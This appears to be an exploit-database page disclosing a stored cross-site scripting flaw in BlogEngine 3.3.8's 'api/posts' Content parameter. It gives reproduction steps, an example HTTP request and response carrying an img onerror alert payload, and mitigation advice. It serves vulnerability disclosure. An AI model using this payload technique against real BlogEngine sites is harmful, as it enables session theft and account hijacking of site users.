header-logo
Suggest Exploit
vendor:
BlogEngine
by:
Andrey Stoykov
8.8
CVSS
HIGH
Stored XSS
79
CWE
Product Name: BlogEngine
Affected Version From: 3.3.8
Affected Version To: 3.3.8
Patch Exists: NO
Related CWE: N/A
CPE: 2.3:a:blogengine:blogengine:3.3.8
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Windows Server 2016
2020

BlogEngine 3.3.8 – ‘Content’ Stored XSS

BlogEngine 3.3.8 is vulnerable to Stored Cross-Site Scripting (XSS) in the 'Content' parameter of the 'api/posts' POST request. An attacker can inject malicious JavaScript code into the 'Content' parameter value, which will be executed when the post is viewed. This can be used to steal user session cookies, hijack user accounts, redirect users to malicious websites, etc.

Mitigation:

Input validation should be used to prevent malicious code from being stored in the database. Additionally, the application should use a Content Security Policy (CSP) to prevent the execution of malicious code.
Source

Exploit-DB raw data:

# Exploit Title: BlogEngine 3.3.8 - 'Content' Stored XSS
# Date: 11/2020
# Exploit Author: Andrey Stoykov
# Vendor Homepage: https://blogengine.io/
# Software Link: https://github.com/BlogEngine/BlogEngine.NET/releases/download/v3.3.8.0/3380.zip
# Version: 3.3.8
# Tested on: Windows Server 2016
# Exploit and Detailed Info: https://infosecresearchlab.blogspot.com/2020/11/blogengine-338-stored-xss.html


Stored XSS Reproduction Steps:

1. Login http://IP/blogengine/admin/app/editor/editpost.cshtml
2. Add content and trap POST request into intercepting proxy
3. Add the XSS payload into the "Content" parameter value
4. Browse to the post to trigger the XSS payload


Example HTTP POST Request:
POST /blogengine/api/posts HTTP/1.1
Host: 192.168.56.6
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
[..]
{
  "Id": "",
  "Title": "XSS Test",
  "Author": "Admin",
  "Content": "<img src=x onerror=alert(`XSS`)>",
  [..]
  }

Example HTTP Response:
HTTP/1.1 201 Created
Cache-Control: no-cache
[..]
{
  "IsChecked": false,
  "Id": "357ae13d-f230-486a-b2aa-71d67a700083",
  "Title": "XSS Test",
  "Author": "Admin",
  "Description": "",
  "Content": "<img src=x onerror=alert(`XSS`)>",
  [..]
 }